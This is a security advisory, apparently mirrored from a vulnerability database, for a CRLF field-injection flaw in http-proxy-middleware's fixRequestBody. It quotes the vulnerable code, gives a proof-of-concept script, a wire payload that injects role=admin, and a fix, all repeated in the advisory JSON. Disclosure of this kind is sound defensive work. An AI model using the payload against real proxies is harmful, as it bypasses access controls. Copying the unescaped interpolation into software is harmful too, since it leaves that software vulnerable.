GHSA-GCQ2-9PQ2-CXQM

Vulnerability from github – Published: 2026-06-18 13:06 – Updated: 2026-06-18 13:06
VLAI
Summary
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
Details

Summary

fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:

// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}

A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.

Preconditions

All three must hold; this narrows real-world exposure and is the basis for AC:H: 1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input. 2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. 3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.

Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.

Impact

When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend: - Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices). - File-part injection inject a filename="..." part into the upstream multipart stream.

Proof of Concept

// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());

Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:

--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--

req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--

Remediation

Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:

function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  const bad = /[\r\n]/;
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    const v = String(value);
    if (bad.test(key) || bad.test(v)) {
      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
    }
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
  }
}

(Reject is preferable to silent stripping, to avoid masking malicious input.)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-proxy-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.4"
            },
            {
              "fixed": "3.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-proxy-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:06:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n`fixRequestBody()` is the library\u0027s documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, \u0027$1\u0027);\n  let str = \u0027\u0027;\n  for (const [key, value] of Object.entries(data)) {\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n  }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy\u0027s own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n\u003e Note: a pure multipart-in \u2192 multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy\u0027s multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from \u0027http-proxy-middleware\u0027;\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field\u0027s value holds CRLF:\nconst req = { readableLength: 0, body: {\n  user: \u0027alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--\u0027\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n  h: { \u0027content-type\u0027: \u0027multipart/form-data; boundary=BB\u0027 },\n  getHeader(n){ return this.h[n.toLowerCase()]; },\n  setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n  write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req);          // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\"     \u003c-- injected part; never present in req.body\u0027s keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend\u0027s multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, \u0027$1\u0027);\n  const bad = /[\\r\\n]/;\n  let str = \u0027\u0027;\n  for (const [key, value] of Object.entries(data)) {\n    const v = String(value);\n    if (bad.test(key) || bad.test(v)) {\n      throw new Error(\u0027fixRequestBody: CR/LF not allowed in multipart field name/value\u0027);\n    }\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, \u0027%22\u0027)}\"\\r\\n\\r\\n${v}\\r\\n`;\n  }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)",
  "id": "GHSA-gcq2-9pq2-cxqm",
  "modified": "2026-06-18T13:06:21Z",
  "published": "2026-06-18T13:06:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chimurai/http-proxy-middleware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…